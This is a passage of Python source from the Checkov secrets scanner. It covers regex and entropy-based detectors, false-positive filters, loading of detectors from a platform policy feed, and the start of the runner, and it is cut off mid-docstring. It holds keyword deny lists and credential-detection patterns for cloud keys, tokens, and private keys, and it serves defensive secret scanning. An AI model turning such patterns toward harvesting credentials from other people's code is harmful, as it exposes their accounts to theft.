**kwargs: Any ) -> Set[PotentialSecret]: """This examines a line and finds all possible secret values in it""" output: Set[PotentialSecret] = set() line_length = len(line) if line_length > CustomRegexDetector.MAX_LINE_LENGTH: logging.info(f"File {filename} Line {line_number} has a length of {line_length}, which is higher than the max {CustomRegexDetector.MAX_LINE_LENGTH}") return output self._find_potential_secret( filename=filename, string_to_analyze=line, output=output, line_number=line_number, context=raw_context, is_multiline=False, **kwargs ) if filename not in self._analyzed_files: self._analyzed_files.add(filename) # We only want to read file if: there is regex supporting it & file size is not over MAX_FILE_SIZE # Notice: in the find potential secret we check per multiline regex if we should run it according the filetype. # This is only a validation to reduce file content reading in case it not supported at all if not self.multiline_regex_to_metadata.values() or \ not self.multiline_regex_supported_file_types or \ not any([filename.endswith(str(file_type)) for file_type in self.multiline_regex_supported_file_types]) or \ not 0 < get_file_size_safe(filename) < CustomRegexDetector.MAX_FILE_SIZE: return output file_content = read_file_safe(filename) if not file_content: return output self._find_potential_secret( filename=filename, string_to_analyze=file_content, output=output, line_number=1, context=raw_context, is_multiline=True, **kwargs ) return output def _find_potential_secret( self, filename: str, string_to_analyze: str, output: Set[PotentialSecret], line_number: int = 0, context: Optional[CodeSnippet] = None, is_multiline: bool = False, is_added: bool = False, is_removed: bool = False, **kwargs: Any ) -> None: current_denylist: Set[Pattern[str]] = set() if is_multiline: # We want the multiline regex to execute only if current file is supported by them for regex in self.multiline_deny_list: regex_supported_files = self.multiline_regex_to_metadata.get(regex.pattern, {}).get("supportedFiles", []) if regex_supported_files and any([filename.endswith(regex_supported_file) for regex_supported_file in regex_supported_files]): current_denylist.add(regex) else: current_denylist = self.denylist current_regex_to_metadata: dict[str, dict[str, Any]] = self.multiline_regex_to_metadata if is_multiline else self.regex_to_metadata kwargs["regex_denylist"] = current_denylist for match, regex in self.analyze_string(string_to_analyze, **kwargs): if len(match) == 0: # Skip empty matches continue try: verified_result = call_function_with_arguments(self.verify, secret=match, context=context) is_verified = True if verified_result == VerifiedResult.VERIFIED_TRUE else False except Exception: is_verified = False regex_data = current_regex_to_metadata[regex.pattern] # It's a multiline regex (only the prerun executed). We should execute the whole multiline pattern # We want to run multiline policy once per file (if prerun was found) if regex_data.get("prerun"): if filename in self._analyzed_files_by_check[regex_data['Check_ID']]: continue self._analyzed_files_by_check[regex_data['Check_ID']].add(filename) # We are going to scan the whole file with the multiline regex if not 0 < get_file_size_safe(filename) < CustomRegexDetector.MAX_FILE_SIZE: continue file_content = read_file_safe(filename) if not file_content: continue multiline_regex = self.pattern_by_prerun_compiled.get(regex.pattern) if multiline_regex is None: continue multiline_matches = multiline_regex.findall(file_content) for mm in multiline_matches: mm = self._extract_real_regex_match(mm) if isinstance(mm, tuple): mm = mm[0] line_num = find_line_number(file_content, mm, line_number) quoted_mm = f"'{mm}'" ps = PotentialSecret( type=regex_data["Name"], filename=filename, secret=quoted_mm, line_number=line_num, is_verified=is_verified, is_added=is_added, is_removed=is_removed, is_multiline=True, ) ps.check_id = regex_data["Check_ID"] output.add(ps) continue # Wrap multiline match with fstring + '' match = f"'{match}'" if is_multiline else match ps = PotentialSecret( type=regex_data["Name"], filename=filename, secret=match, line_number=line_number, is_verified=is_verified, is_added=is_added, is_removed=is_removed, is_multiline=is_multiline, ) ps.check_id = current_regex_to_metadata[regex.pattern]["Check_ID"] if is_multiline: output.add(ps) elif len(cast(str, ps.secret_value)) in range(MIN_CHARACTERS, MAX_CHARACTERS) or not regex_data['isCustom']: output.add(ps) else: logging.info( f'Finding for check {ps.check_id} are not 5-100 characters in length, was ignored') def analyze_string(self, string: str, **kwargs: Optional[Dict[str, Any]]) -> Generator[Tuple[str, Pattern[str]], None, None]: # type:ignore[override] regex_denylist: Set[Pattern[str]] = kwargs.get("regex_denylist", self.denylist) # type: ignore[assignment] for regex in regex_denylist: for match in regex.findall(string): if isinstance(match, tuple): for submatch in filter(bool, match): # It might make sense to paste break after yielding yield submatch, regex else: yield match, regex def _extract_real_regex_match(self, regex_matches: Union[str, Tuple[str]]) -> Union[str, Tuple[str]]: if isinstance(regex_matches, tuple): for match in regex_matches: if match: return match return regex_matches def find_line_number(file_string: str, substring: str, default_line_number: int) -> int: try: lines = file_string.splitlines() for line_number, line in enumerate(lines, start=1): if substring in line: return line_number return default_line_number except Exception: return default_line_number ================================================ FILE: checkov/secrets/plugins/detector_utils.py ================================================ from __future__ import annotations import json import re from re import Pattern from typing import Any, TYPE_CHECKING, Optional from detect_secrets.util.filetype import FileType from detect_secrets.plugins.keyword import DENYLIST from detect_secrets.plugins.keyword import AFFIX_REGEX from detect_secrets.plugins.keyword import CLOSING from detect_secrets.plugins.keyword import OPTIONAL_WHITESPACE from detect_secrets.plugins.keyword import QUOTE from detect_secrets.plugins.keyword import SECRET from checkov.secrets.parsers.terraform.multiline_parser import terraform_multiline_parser from checkov.secrets.parsers.terraform.single_line_parser import terraform_single_line_parser from checkov.secrets.parsers.yaml.multiline_parser import yml_multiline_parser from checkov.secrets.parsers.json.multiline_parser import json_multiline_parser if TYPE_CHECKING: from checkov.secrets.parsers.multiline_parser import BaseMultiLineParser from detect_secrets.core.potential_secret import PotentialSecret from detect_secrets.util.code_snippet import CodeSnippet from detect_secrets.plugins.base import BasePlugin MAX_KEYWORD_LIMIT = 500 B64_FP_REGEX = re.compile(r'\b[A-Za-z]+_+[A-Za-z_]*[A-Za-z]\b') DENY_LIST_REGEX = r'|'.join(DENYLIST) # Support for suffix after keyword i.e. password_secure = "value" DENY_LIST_REGEX2 = r'({denylist}){suffix}'.format( denylist=DENY_LIST_REGEX, suffix=AFFIX_REGEX, ) KEY = r'{words}({closing})?'.format( words=AFFIX_REGEX, closing=CLOSING, ) FOLLOWED_BY_COLON_VALUE_KEYWORD_REGEX = re.compile( # e.g. var: MY_PASSWORD_123 r'{whitespace}({key})?:{whitespace}({quote}?){words}{denylist}({closing})?(\3)'.format( key=KEY, whitespace=OPTIONAL_WHITESPACE, quote=QUOTE, words=AFFIX_REGEX, denylist=DENY_LIST_REGEX2, closing=CLOSING, ), flags=re.IGNORECASE, ) QUOTES_REQUIRED_FOLLOWED_BY_COLON_VALUE_KEYWORD_REGEX = re.compile( # e.g. var: MY_PASSWORD_123 r'{whitespace}"({key})?":{whitespace}("?){words}{denylist}({closing})?(\3)'.format( key=KEY, whitespace=OPTIONAL_WHITESPACE, words=AFFIX_REGEX, denylist=DENY_LIST_REGEX2, closing=CLOSING, ), flags=re.IGNORECASE, ) FOLLOWED_BY_COLON_VALUE_SECRET_REGEX = re.compile( # e.g. var: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE== r'{whitespace}({key})?:{whitespace}({quote}?)({secret})(\3)'.format( key=KEY, whitespace=OPTIONAL_WHITESPACE, quote=QUOTE, secret=SECRET, ), flags=re.IGNORECASE, ) QUOTES_REQUIRED_FOLLOWED_BY_COLON_VALUE_SECRET_REGEX = re.compile( # e.g. var: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE== r'{whitespace}"({key})?":{whitespace}("?)({secret})(\3)'.format( key=KEY, whitespace=OPTIONAL_WHITESPACE, secret=SECRET, ), flags=re.IGNORECASE, ) FOLLOWED_BY_EQUAL_VALUE_KEYWORD_REGEX = re.compile( # e.g. var = MY_PASSWORD_123 r'{whitespace}({key})?={whitespace}({quote}?){words}{denylist}({closing})?(\3)'.format( key=KEY, whitespace=OPTIONAL_WHITESPACE, quote=QUOTE, words=AFFIX_REGEX, denylist=DENY_LIST_REGEX2, closing=CLOSING, ), flags=re.IGNORECASE, ) FOLLOWED_BY_EQUAL_VALUE_SECRET_REGEX = re.compile( # e.g. var = Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE== r'{whitespace}({key})?={whitespace}({quote}?)({secret})(\3)'.format( key=KEY, whitespace=OPTIONAL_WHITESPACE, quote=QUOTE, secret=SECRET, ), flags=re.IGNORECASE, ) ALLOW_LIST = ( # can add more keys like that 'secretsmanager', "secretName", "secret_name", "creation_token", "client_secret_setting_name", ) ALLOW_LIST_REGEX = r'|'.join(ALLOW_LIST) # Support for suffix of function name i.e "secretsmanager:GetSecretValue" CAMEL_CASE_NAMES = r'[A-Z]([A-Z0-9]*[a-z][a-z0-9]*[A-Z]|[a-z0-9]*[A-Z][A-Z0-9]*[a-z])[A-Za-z0-9]*' FUNCTION_CALL_AFTER_KEYWORD_REGEX = re.compile(r'({allowlist})\s*(:|=)\s*{suffix}'.format( allowlist=ALLOW_LIST_REGEX, suffix=AFFIX_REGEX, )) # if the current regex is not enough, can add more regexes to check YML_PAIR_VALUE_KEYWORD_REGEX_TO_GROUP = { FOLLOWED_BY_COLON_VALUE_KEYWORD_REGEX: 4, } YML_PAIR_VALUE_SECRET_REGEX_TO_GROUP = { FOLLOWED_BY_COLON_VALUE_SECRET_REGEX: 4, } JSON_PAIR_VALUE_KEYWORD_REGEX_TO_GROUP = { QUOTES_REQUIRED_FOLLOWED_BY_COLON_VALUE_KEYWORD_REGEX: 4, } JSON_PAIR_VALUE_SECRET_REGEX_TO_GROUP = { QUOTES_REQUIRED_FOLLOWED_BY_COLON_VALUE_SECRET_REGEX: 4, } TERRAFORM_PAIR_VALUE_KEYWORD_REGEX_TO_GROUP = { FOLLOWED_BY_EQUAL_VALUE_KEYWORD_REGEX: 4, } TERRAFORM_PAIR_VALUE_SECRET_REGEX_TO_GROUP = { FOLLOWED_BY_EQUAL_VALUE_SECRET_REGEX: 4, } REGEX_VALUE_KEYWORD_BY_FILETYPE = { FileType.YAML: YML_PAIR_VALUE_KEYWORD_REGEX_TO_GROUP, FileType.JSON: JSON_PAIR_VALUE_KEYWORD_REGEX_TO_GROUP, FileType.TERRAFORM: TERRAFORM_PAIR_VALUE_KEYWORD_REGEX_TO_GROUP, } REGEX_VALUE_SECRET_BY_FILETYPE = { FileType.YAML: YML_PAIR_VALUE_SECRET_REGEX_TO_GROUP, FileType.JSON: JSON_PAIR_VALUE_SECRET_REGEX_TO_GROUP, FileType.TERRAFORM: TERRAFORM_PAIR_VALUE_SECRET_REGEX_TO_GROUP, } SINGLE_LINE_PARSER = { FileType.TERRAFORM: terraform_single_line_parser, } MULTILINE_PARSERS = { FileType.YAML: ( (FileType.YAML, yml_multiline_parser), ), FileType.JSON: ( (FileType.JSON, json_multiline_parser), ), FileType.TERRAFORM: ( (FileType.TERRAFORM, terraform_multiline_parser), (FileType.JSON, json_multiline_parser), (FileType.YAML, yml_multiline_parser), ), } def remove_fp_secrets_in_keys(detected_secrets: set[PotentialSecret], line: str, is_code_file: bool = False) -> None: formatted_line = line.replace('"', '').replace("'", '') secrets_to_remove = set() for detected_secret in detected_secrets: if not detected_secret.secret_value: continue processed_line = get_processed_line(formatted_line, detected_secret.secret_value) # Found keyword prefix as potential secret if processed_line.startswith(detected_secret.secret_value): secrets_to_remove.add(detected_secret) # found a function name at the end of the line if processed_line and FUNCTION_CALL_AFTER_KEYWORD_REGEX.search(processed_line): secrets_to_remove.add(detected_secret) # secret value is substring of keyword if is_code_file and FOLLOWED_BY_EQUAL_VALUE_KEYWORD_REGEX.search(processed_line): key, value = line.split("=", 1) if detected_secret.secret_value in key and detected_secret.secret_value in value: secrets_to_remove.add(detected_secret) # strings which are all lower/upper case letters are suspected to not be base64 high entropy strings # the 2nd part of the end is to make test_non_multiline_pair_time_limit_creating_report pass if B64_FP_REGEX.search(detected_secret.secret_value) and "SECRET" not in detected_secret.secret_value: secrets_to_remove.add(detected_secret) detected_secrets -= secrets_to_remove def get_processed_line(formatted_line: str, secret_value: str) -> str: if not formatted_line.startswith(secret_value) and formatted_line.find(":", formatted_line.rfind(secret_value) + len( secret_value)) > -1: return formatted_line[formatted_line.find(secret_value):] return formatted_line def format_reducing_noise_secret(string: str) -> str: return json.dumps(string) def extract_from_string(pattern: dict[Pattern[str], int] | None, string: str) -> set[str]: matches: set[str] = set() if not pattern: return matches for value_regex, group_number in pattern.items(): match = value_regex.search(string) if match: matches |= {match.group(group_number).rstrip('\n')} return matches def detect_secret( scanners: tuple[BasePlugin, ...], filename: str, line: str, line_number: int = 0, is_multiline: Optional[bool] = None, **kwargs: Any, ) -> set[PotentialSecret]: for scanner in scanners: matches = scanner.analyze_line(filename, line, line_number, **kwargs) if matches: if is_multiline: mark_set_multiline(matches) return matches return set() def analyze_multiline_keyword_combinator( filename: str, scanners: tuple[BasePlugin, ...], multiline_parser: BaseMultiLineParser, line_number: int, context: CodeSnippet | None = None, raw_context: CodeSnippet | None = None, value_pattern: dict[Pattern[str], int] | None = None, secret_pattern: dict[Pattern[str], int] | None = None, is_added: bool = False, is_removed: bool = False, **kwargs: Any, ) -> set[PotentialSecret]: secrets: set[PotentialSecret] = set() if context is None or raw_context is None: return secrets value_secrets = extract_from_string(pattern=secret_pattern, string=context.target_line) for possible_secret in value_secrets: secret_adjust = format_reducing_noise_secret(possible_secret) potential_secrets = detect_secret( scanners=scanners, filename=filename, line=secret_adjust, line_number=line_number, is_added=is_added, is_removed=is_removed, is_multiline=True, # always true because we check here for multiline kwargs=kwargs ) if potential_secrets: possible_keywords: set[str] = set() backwards_range = range(context.target_index - 1, -1, -1) forward_range = range(context.target_index + 1, len(context.lines)) possible_keywords |= multiline_parser.get_lines_from_same_object( search_range=forward_range, context=context, raw_context=raw_context, line_length_limit=MAX_KEYWORD_LIMIT) possible_keywords |= multiline_parser.get_lines_from_same_object( search_range=backwards_range, context=context, raw_context=raw_context, line_length_limit=MAX_KEYWORD_LIMIT) for other_value in possible_keywords: if extract_from_string(pattern=value_pattern, string=other_value): secrets |= potential_secrets break return secrets def mark_set_multiline(secrets: set[PotentialSecret]) -> None: for sec in secrets: sec.is_multiline = True ================================================ FILE: checkov/secrets/plugins/entropy_keyword_combinator.py ================================================ from __future__ import annotations import re import os from typing import Generator, Set, Tuple from typing import Any from typing import TYPE_CHECKING from detect_secrets.plugins.high_entropy_strings import Base64HighEntropyString from detect_secrets.plugins.high_entropy_strings import HexHighEntropyString from detect_secrets.plugins.keyword import KeywordDetector from detect_secrets.plugins.keyword import DENYLIST from detect_secrets.plugins.keyword import AFFIX_REGEX from detect_secrets.plugins.keyword import CLOSING from detect_secrets.plugins.keyword import OPTIONAL_WHITESPACE from detect_secrets.plugins.keyword import QUOTE from detect_secrets.plugins.keyword import SECRET from detect_secrets.plugins.base import BasePlugin from detect_secrets.util.filetype import determine_file_type from checkov.secrets.plugins.detector_utils import SINGLE_LINE_PARSER, MULTILINE_PARSERS, \ REGEX_VALUE_KEYWORD_BY_FILETYPE, REGEX_VALUE_SECRET_BY_FILETYPE, remove_fp_secrets_in_keys, detect_secret, \ analyze_multiline_keyword_combinator, mark_set_multiline from checkov.secrets.runner import SOURCE_CODE_EXTENSION if TYPE_CHECKING: from detect_secrets.core.potential_secret import PotentialSecret from detect_secrets.util.code_snippet import CodeSnippet MAX_LINE_LENGTH = 10000 MAX_KEYWORD_LIMIT = 500 ENTROPY_KEYWORD_COMBINATOR_LIMIT = float(os.getenv('CHECKOV_ENTROPY_KEYWORD_LIMIT', '3')) ENTROPY_KEYWORD_LIMIT = 4.8 DENY_LIST_REGEX = r'|'.join(DENYLIST) # Support for suffix after keyword i.e. password_secure = "value" DENY_LIST_REGEX2 = r'({denylist}){suffix}'.format( denylist=DENY_LIST_REGEX, suffix=AFFIX_REGEX, ) KEY = r'{words}({closing})?'.format( words=AFFIX_REGEX, closing=CLOSING, ) FOLLOWED_BY_COLON_VALUE_KEYWORD_REGEX = re.compile( # e.g. var: MY_PASSWORD_123 r'{whitespace}({key})?:{whitespace}({quote}?){words}{denylist}({closing})?(\3)'.format( key=KEY, whitespace=OPTIONAL_WHITESPACE, quote=QUOTE, words=AFFIX_REGEX, denylist=DENY_LIST_REGEX2, closing=CLOSING, ), flags=re.IGNORECASE, ) QUOTES_REQUIRED_FOLLOWED_BY_COLON_VALUE_KEYWORD_REGEX = re.compile( # e.g. var: MY_PASSWORD_123 r'{whitespace}"({key})?":{whitespace}("?){words}{denylist}({closing})?(\3)'.format( key=KEY, whitespace=OPTIONAL_WHITESPACE, words=AFFIX_REGEX, denylist=DENY_LIST_REGEX2, closing=CLOSING, ), flags=re.IGNORECASE, ) FOLLOWED_BY_COLON_VALUE_SECRET_REGEX = re.compile( # e.g. var: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE== r'{whitespace}({key})?:{whitespace}({quote}?)({secret})(\3)'.format( key=KEY, whitespace=OPTIONAL_WHITESPACE, quote=QUOTE, secret=SECRET, ), flags=re.IGNORECASE, ) QUOTES_REQUIRED_FOLLOWED_BY_COLON_VALUE_SECRET_REGEX = re.compile( # e.g. var: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE== r'{whitespace}"({key})?":{whitespace}("?)({secret})(\3)'.format( key=KEY, whitespace=OPTIONAL_WHITESPACE, secret=SECRET, ), flags=re.IGNORECASE, ) FOLLOWED_BY_EQUAL_VALUE_KEYWORD_REGEX = re.compile( # e.g. var = MY_PASSWORD_123 r'{whitespace}({key})?={whitespace}({quote}?){words}{denylist}({closing})?(\3)'.format( key=KEY, whitespace=OPTIONAL_WHITESPACE, quote=QUOTE, words=AFFIX_REGEX, denylist=DENY_LIST_REGEX2, closing=CLOSING, ), flags=re.IGNORECASE, ) FOLLOWED_BY_EQUAL_VALUE_SECRET_REGEX = re.compile( # e.g. var = Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE== r'{whitespace}({key})?={whitespace}({quote}?)({secret})(\3)'.format( key=KEY, whitespace=OPTIONAL_WHITESPACE, quote=QUOTE, secret=SECRET, ), flags=re.IGNORECASE, ) class EntropyKeywordCombinator(BasePlugin): secret_type = "" # nosec # noqa: CCE003 # a static attribute def __init__(self, limit: float = ENTROPY_KEYWORD_LIMIT, max_line_length: int = MAX_LINE_LENGTH, entropy_limit: float = ENTROPY_KEYWORD_COMBINATOR_LIMIT) -> None: self.entropy_limit = entropy_limit self.high_entropy_scanners_iac = ( Base64HighEntropyString( limit=entropy_limit), HexHighEntropyString( limit=entropy_limit)) self.entropy_scanners_non_iac_with_keyword = ( Base64HighEntropyString( limit=entropy_limit + 0.3), HexHighEntropyString( limit=entropy_limit + 0.3)) self.high_entropy_scanners = (Base64HighEntropyString(limit=limit), HexHighEntropyString(limit=limit)) self.keyword_scanner = KeywordDetector() self.max_line_length = max_line_length def analyze_string(self, string: str) -> Generator[str, None, None]: yield "" def analyze_line( self, filename: str, line: str, line_number: int = 0, context: CodeSnippet | None = None, raw_context: CodeSnippet | None = None, **kwargs: Any, ) -> set[PotentialSecret]: if len(line) > self.max_line_length: # to keep good performance we skip long lines return set() is_iac = f".{filename.split('.')[-1]}" not in SOURCE_CODE_EXTENSION keyword_on_key = self.keyword_scanner.analyze_line(filename, line, line_number, **kwargs) if is_iac: filetype = determine_file_type(filename) single_line_parser = SINGLE_LINE_PARSER.get(filetype) multiline_parsers = MULTILINE_PARSERS.get(filetype) # classic key-value pair if keyword_on_key: if single_line_parser: # Getting last detected one as only 1 violation available for line secret_value, quoted_secret = EntropyKeywordCombinator.receive_last_secret_detected(keyword_on_key) old_line = line line = quoted_secret if quoted_secret else line detected_secrets = single_line_parser.detect_secret( scanners=self.high_entropy_scanners_iac, filename=filename, raw_context=raw_context, line=line, line_number=line_number, kwargs=kwargs ) remove_fp_secrets_in_keys(detected_secrets, old_line) return detected_secrets else: # preprocess line before detecting secrets - add quotes on potential secrets to allow triggering # entropy detector secret_value, quoted_secret = EntropyKeywordCombinator.receive_last_secret_detected(keyword_on_key) if line.find(quoted_secret) < 0: # replace potential secret with quoted version line = line.replace(secret_value, quoted_secret, 1) detected_secrets = detect_secret( scanners=self.high_entropy_scanners_iac, filename=filename, line=line, line_number=line_number, kwargs=kwargs ) # postprocess detected secrets - filter out potential secrets on keyword remove_fp_secrets_in_keys(detected_secrets, line) return detected_secrets # not so classic key-value pair, from multiline, that is only in an array format. # The scan searches forwards and backwards for a potential secret pair, so no duplicates expected. elif multiline_parsers: # iterate over multiple parser and their related file type. # this is needed for file types, which embed other file type parser, ex Terraform with heredoc for parser_file_type, multiline_parser in multiline_parsers: value_keyword_regex_to_group = REGEX_VALUE_KEYWORD_BY_FILETYPE.get(parser_file_type) secret_keyword_regex_to_group = REGEX_VALUE_SECRET_BY_FILETYPE.get(parser_file_type) potential_secrets = analyze_multiline_keyword_combinator( filename=filename, scanners=self.high_entropy_scanners, multiline_parser=multiline_parser, line_number=line_number, context=context, raw_context=raw_context, value_pattern=value_keyword_regex_to_group, secret_pattern=secret_keyword_regex_to_group, kwargs=kwargs ) if potential_secrets: mark_set_multiline(potential_secrets) # return a possible secret, otherwise check with next parser return potential_secrets else: detected_secrets = detect_secret( # If we found a keyword (i.e. db_pass = ), lower the threshold to the iac threshold scanners=self.high_entropy_scanners if not keyword_on_key else self.entropy_scanners_non_iac_with_keyword, filename=filename, line=line, line_number=line_number, kwargs=kwargs ) if detected_secrets: remove_fp_secrets_in_keys(detected_secrets, line, True) return detected_secrets return set() @staticmethod def convert_to_reduce_noise(secret_value: str) -> str: # For empty string return empty string if not secret_value: return '' return f"\"{secret_value}\"" @staticmethod def receive_last_secret_detected(keyword_on_key: Set[PotentialSecret]) -> Tuple[str, str]: return_value = '' quoted_return_value = '' for pt in keyword_on_key: if pt.secret_value: return_value = pt.secret_value quoted_return_value = EntropyKeywordCombinator.convert_to_reduce_noise(pt.secret_value) return return_value, quoted_return_value ================================================ FILE: checkov/secrets/plugins/load_detectors.py ================================================ from __future__ import annotations import logging from typing import Any, Dict, List, Optional import yaml from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.util.file_utils import decompress_file_gzip_base64 def load_detectors() -> list[dict[str, Any]]: detectors: List[dict[str, Any]] = [] try: customer_run_config_response = bc_integration.customer_run_config_response policies_list: List[dict[str, Any]] = [] if customer_run_config_response: policies_list = customer_run_config_response.get('secretsPolicies', []) except Exception as e: logging.error(f"Failed to get detectors from customer_run_config_response, error: {e}") return [] if policies_list: detectors = modify_secrets_policy_to_detectors(policies_list) if detectors: logging.info(f"Successfully loaded {len(detectors)} detectors from bc_integration") return detectors def modify_secrets_policy_to_detectors(policies_list: List[dict[str, Any]]) -> List[dict[str, Any]]: secrets_list = transforms_policies_to_detectors_list(policies_list) logging.debug(f"(modify_secrets_policy_to_detectors) len secrets_list = {len(secrets_list)}") return secrets_list def add_to_custom_detectors(custom_detectors: List[Dict[str, Any]], name: str, check_id: str, regex: str, prerun: str, is_custom: str, is_multiline: bool = False, supported_files: Optional[List[str]] = None) -> None: custom_detectors.append({ 'Name': name, 'Check_ID': check_id, 'Regex': regex, 'isCustom': is_custom, 'isMultiline': is_multiline, 'supportedFiles': supported_files if supported_files else [], 'prerun': prerun }) def add_detectors_from_condition_query(custom_detectors: List[Dict[str, Any]], condition_query: Dict[str, Any], secret_policy: Dict[str, Any], check_id: str) -> bool: parsed = False cond_type = condition_query['cond_type'] if cond_type == 'secrets': value = condition_query['value'] if isinstance(value, str): value = [value] for regex in value: parsed = True add_to_custom_detectors(custom_detectors, secret_policy['title'], check_id, regex, "", secret_policy['isCustom']) return parsed def add_detectors_from_code(custom_detectors: List[Dict[str, Any]], code: str, secret_policy: Dict[str, Any], check_id: str) -> bool: parsed = False code_dict = yaml.safe_load(code) if 'definition' in code_dict and 'value' in code_dict['definition']: if 'is_runnable' in code_dict['definition']: # runnable detectors are parsed separately in 'get_runnable_plugins()' return True parsed = True if isinstance(code_dict['definition']['value'], str): code_dict['definition']['value'] = [code_dict['definition']['value']] for regex in code_dict['definition']['value']: add_to_custom_detectors( custom_detectors, secret_policy['title'], check_id, regex, # Only one prerun per multiline regex code_dict['definition'].get('prerun', [''])[0], secret_policy['isCustom'], code_dict['definition'].get("multiline", False), code_dict['definition'].get("supported_files", []) ) return parsed def transforms_policies_to_detectors_list(custom_secrets: List[Dict[str, Any]]) -> List[Dict[str, Any]]: custom_detectors: List[Dict[str, Any]] = [] condition_query = None for secret_policy in custom_secrets: parsed = False check_id = secret_policy['checkovCheckId'] if secret_policy['checkovCheckId'] else \ secret_policy['incidentId'] code = secret_policy['code'] if 'conditionQuery' in secret_policy: condition_query = secret_policy['conditionQuery'] if condition_query: parsed = add_detectors_from_condition_query(custom_detectors, condition_query, secret_policy, check_id) elif code: parsed = add_detectors_from_code(custom_detectors, code, secret_policy, check_id) if not parsed: logging.info(f"policy : {secret_policy} could not be parsed") return custom_detectors def get_runnable_plugins(policies: List[Dict[str, Any]]) -> Dict[str, str]: runnables: dict[str, str] = {} for policy in policies: code = policy['code'] if code: try: code_dict = yaml.safe_load(code) if 'definition' in code_dict: if 'is_runnable' in code_dict['definition'] and 'value' in code_dict['definition']: encoded_payload = code_dict['definition']['value'] if isinstance(encoded_payload, list): encoded_payload = encoded_payload[0] decoded_payload = decompress_file_gzip_base64(encoded_payload) name: str = policy['title'] runnables[name] = decoded_payload.decode('utf8') except Exception as e: logging.warning(f"Could not parse runnable policy {policy['title']} due to: {e}") return runnables ================================================ FILE: checkov/secrets/runner.py ================================================ from __future__ import annotations import datetime import linecache import logging import os import re import tempfile import threading from contextlib import contextmanager from copy import deepcopy from pathlib import Path from typing import TYPE_CHECKING, cast, Optional, Iterable, Any, List, Dict, Tuple, Callable, Generator from collections import defaultdict import requests from detect_secrets.filters.heuristic import is_potential_uuid from detect_secrets.settings import ( get_settings, configure_settings_from_baseline, get_plugins, get_filters, ) from detect_secrets.core.plugins.util import get_mapping_from_secret_type_to_class from checkov.common.util.decorators import time_it from checkov.common.util.type_forcers import convert_str_to_bool from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.output.secrets_record import SecretsRecord from checkov.common.util.http_utils import request_wrapper, DEFAULT_TIMEOUT from detect_secrets import SecretsCollection from detect_secrets.core import scan from detect_secrets.core.potential_secret import PotentialSecret from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \ integration as metadata_integration from checkov.common.bridgecrew.severities import Severity from checkov.common.comment.enum import COMMENT_REGEX from checkov.common.models.consts import SUPPORTED_FILE_EXTENSIONS from checkov.common.models.enums import CheckResult from checkov.common.output.report import Report from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.common.runners.base_runner import BaseRunner, filter_ignored_paths from checkov.common.typing import _CheckResult from checkov.common.util.dockerfile import is_dockerfile from checkov.common.util.secrets import omit_secret_value_from_line, GENERIC_OBFUSCATION_LENGTH from checkov.runner_filter import RunnerFilter from checkov.common.secrets.consts import ValidationStatus, VerifySecretsResult from checkov.secrets.coordinator import EnrichedSecret, SecretsCoordinator from checkov.secrets.plugins.load_detectors import get_runnable_plugins from checkov.secrets.git_history_store import GitHistorySecretStore from checkov.secrets.git_types import EnrichedPotentialSecret, PROHIBITED_FILES, Commit from checkov.secrets.scan_git_history import GitHistoryScanner from checkov.secrets.utils import filter_excluded_paths, EXCLUDED_PATHS from checkov.secrets.context_parser import ContextParser from checkov.secrets.log_prefix_stripper import create_stripped_content if TYPE_CHECKING: from checkov.common.util.tqdm_utils import ProgressBar SOURCE_CODE_EXTENSION = ['.py', '.js', '.properties', '.pem', '.php', '.xml', '.ts', '.env', '.java', '.rb', 'go', 'cs', '.txt'] SECRET_TYPE_TO_ID = { 'Artifactory Credentials': 'CKV_SECRET_1', 'AWS Access Key': 'CKV_SECRET_2', 'Azure Storage Account access key': 'CKV_SECRET_3', 'Basic Auth Credentials': 'CKV_SECRET_4', 'Cloudant Credentials': 'CKV_SECRET_5', 'Base64 High Entropy String': 'CKV_SECRET_6', 'IBM Cloud IAM Key': 'CKV_SECRET_7', 'IBM COS HMAC Credentials': 'CKV_SECRET_8', 'JSON Web Token': 'CKV_SECRET_9', 'Secret Keyword': 'CKV_SECRET_10', 'Mailchimp Access Key': 'CKV_SECRET_11', 'NPM tokens': 'CKV_SECRET_12', 'Private Key': 'CKV_SECRET_13', 'Slack Token': 'CKV_SECRET_14', 'SoftLayer Credentials': 'CKV_SECRET_15', 'Square OAuth Secret': 'CKV_SECRET_16', 'Stripe Access Key': 'CKV_SECRET_17', 'Twilio API Key': 'CKV_SECRET_18', 'Hex High Entropy String': 'CKV_SECRET_19' } BASE64_HIGH_ENTROPY_CHECK_ID = 'CKV_SECRET_6' RANDOM_HIGH_ENTROPY_CHECK_ID = 'CKV_SECRET_80' ENTROPY_CHECK_IDS = {BASE64_HIGH_ENTROPY_CHECK_ID, 'CKV_SECRET_19', RANDOM_HIGH_ENTROPY_CHECK_ID} GENERIC_PRIVATE_KEY_CHECK_IDS = {'CKV_SECRET_4', 'CKV_SECRET_9', 'CKV_SECRET_10', 'CKV_SECRET_13', 'CKV_SECRET_192'} GENERIC_AWS_CHECK_ID = 'CKV_SECRET_2' SPECIFIC_AWS_CHECK_IDS = {'CKV_SECRET_380', 'CKV_SECRET_381'} CHECK_ID_TO_SECRET_TYPE = {v: k for k, v in SECRET_TYPE_TO_ID.items()} MAX_FILE_SIZE = int(os.getenv('CHECKOV_MAX_FILE_SIZE', '5000000')) # 5 MB is default limit # ── thread-safe replacement for transient_settings ───────────────── _detect_secrets_settings_lock = threading.Lock() @contextmanager def _thread_safe_transient_settings(config: Dict[str, Any]) -> Generator[Any, None, None]: """Thread-safe replacement for detect_secrets.settings.transient_settings. The original transient_settings calls cache_bust() which clears the get_settings() LRU cache, creating a race window where get_settings() returns a fresh empty Settings() object. Sub-threads can then cache a 